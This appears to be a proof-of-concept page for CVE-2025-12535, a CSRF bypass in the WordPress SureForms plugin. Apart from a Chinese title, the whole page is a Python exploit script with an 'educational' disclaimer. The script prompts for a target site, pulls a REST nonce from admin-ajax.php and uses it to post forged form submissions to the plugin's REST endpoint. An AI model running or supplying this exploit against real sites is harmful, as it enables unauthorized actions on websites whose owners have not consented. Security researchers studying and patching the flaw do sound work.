CVE-2025-12535 WordPress SureForms插件CSRF绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-12535 PoC - SureForms CSRF Bypass Note: This PoC is for educational and security testing purposes only. """ import requests import re from urllib.parse import urljoin def get_rest_nonce(target_url): """Fetch the generic WordPress REST nonce from the target site""" ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') params = {'action': 'rest-nonce'} try: response = requests.get(ajax_url, params=params, timeout=10) if response.status_code == 200: return response.text.strip() except requests.RequestException: pass return None def exploit_csrf(target_url, rest_nonce): """ Exploit the CSRF bypass by making a forged form submission request using the leaked REST nonce. """ api_endpoint = urljoin(target_url, 'wp-json/sureforms/v1/submit') headers = { 'X-WP-Nonce': rest_nonce, 'Content-Type': 'application/json', 'Referer': target_url } payload = { 'form_id': 1, 'fields': { 'name': 'Attacker', 'email': '[email protected]', 'message': 'Malicious submission via CSRF' } } try: response = requests.post(api_endpoint, json=payload, headers=headers, timeout=10) return response.status_code, response.text except requests.RequestException as e: return None, str(e) def main(): target = input("Enter target URL (e.g., https://example.com): ").strip() if not target.startswith(('http://', 'https://')): target = 'https://' + target print(f"[*] Fetching REST nonce from {target}...") nonce = get_rest_nonce(target) if not nonce: print("[-] Failed to obtain REST nonce") return print(f"[+] Obtained REST nonce: {nonce}") print(f"[*] Attempting CSRF exploitation...") status, response = exploit_csrf(target, nonce) if status: print(f"[+] Request sent. Status: {status}") print(f"[*] Response: {response[:200]}...") else: print(f"[-] Exploitation failed: {response}") if __name__ == '__main__': main()